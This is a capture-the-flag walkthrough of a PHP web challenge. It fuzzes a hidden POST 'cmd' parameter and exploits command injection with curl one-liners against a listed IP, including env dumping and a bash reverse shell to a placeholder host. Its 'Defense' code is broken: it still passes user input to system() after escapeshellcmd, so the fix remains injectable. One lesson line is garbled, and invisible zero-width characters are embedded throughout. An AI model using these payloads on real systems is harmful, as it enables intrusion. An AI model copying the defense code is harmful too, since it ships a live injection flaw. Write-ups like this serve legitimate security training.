Секрет (Secret)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: POST parameter fuzzing, Command Injection via system(), PHP source code analysis

Summary

Walkthrough of the CUSTOM Web Секрет (Secret). Detailed walkthrough.

Description

Вам предстоит раскрыть тайны загадочного веб-приложения. Ваша цель - найти способ извлечь секретный флаг. Но будьте осторожны, ведь каждое ваше действие может повлиять на результат.

Analysis

Reconnaissance

1. GET / - returns "Looking for something?"
2. GET /anything - returns "Ooops...Nothing :(" with PHP code at the beginning
3. POST / (no parameters) - returns "Try harder" — this is the key hint!

Key Insight

The "Try harder" message on an empty POST request is a clear hint that POST parameter fuzzing is needed. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability

Command Injection via hidden POST parameter cmd.

Vulnerable Code

 php read-only • copy allowed Copy
<?php
$flag = "CODEBY{REDACTED}";
if (isset($_POST['cmd'])) {
    system($_POST['cmd']);
} else if ($_SERVER['REQUEST_METHOD'] === 'POST') 
    echo "Try harder";
?>

Issues:

1. Direct user input passed to system() without sanitization
2. Hidden cmd parameter is undocumented but easily discoverable via fuzzing
3. Flag is stored in source code

Solution

Step 1: Discovering the Hidden Parameter

 bash read-only • copy allowed Copy
# Empty POST gives a hint
curl -X POST "http://62.173.140.174:16021/"
# Result: Try harder
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Parameter fuzzing (or guessing common names)
ffuf -u "http://62.173.140.174:16021/" -X POST -d "FUZZ=test" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

Step 2: Verifying RCE

 bash read-only • copy allowed Copy
curl -X POST "http://62.173.140.174:16021/" -d "cmd=id"
# Result: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 3: Extracting the Flag

 bash read-only • copy allowed Copy
# Reading source code
curl -X POST "http://62.173.140.174:16021/" -d "cmd=cat index.php"

# Or directly
curl -X POST "http://62.173.140.174:16021/" -d "cmd=cat /var/www/html/index.php"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Alternative Commands

 bash read-only • copy allowed Copy
# Searching for flag in filesystem
curl -X POST "http://62.173.140.174:16021/" -d "cmd=find / -name '*flag*' 2>/dev/null"

# Viewing environment variables
curl -X POST "http://62.173.140.174:16021/" -d "cmd=env"

# Reverse shell (if interactive access is needed)
curl -X POST "http://62.173.140.174:16021/" -d "cmd=bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"

Lessons

1. Always fuzz parameters — the flag name REDACTED confirms this
2. "Try harder" — classic CTF hint meaning "you're on the right track"
3. POST vs GET — check both methods, hidden parameters often work only via POST
4. Common parameter names: cmd, exec, command, run, shell, query, input ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense

 php read-only • copy allowed Copy
<?php
// NEVER do this:
// system($_POST['cmd']);

// Correct approach:
// 1. Don't use system/exec/shell_exec with user input
// 2. If necessary - strict whitelist validation
$allowed_commands = ['ls', 'date', 'whoami'];
if (in_array($_POST['cmd'], $allowed_commands)) {
    system($_POST['cmd']);
}

// 3. Use escapeshellarg/escapeshellcmd
system(escapeshellcmd($_POST['cmd']));
?>

References

• OWASP Command Injection
• PayloadsAllTheThings - Command Injection ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering POST parameter fuzzing, Command Injection via system(), PHP source code analysis was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-01-04 • CUSTOM • Секрет (Secret) • Difficulty: Medium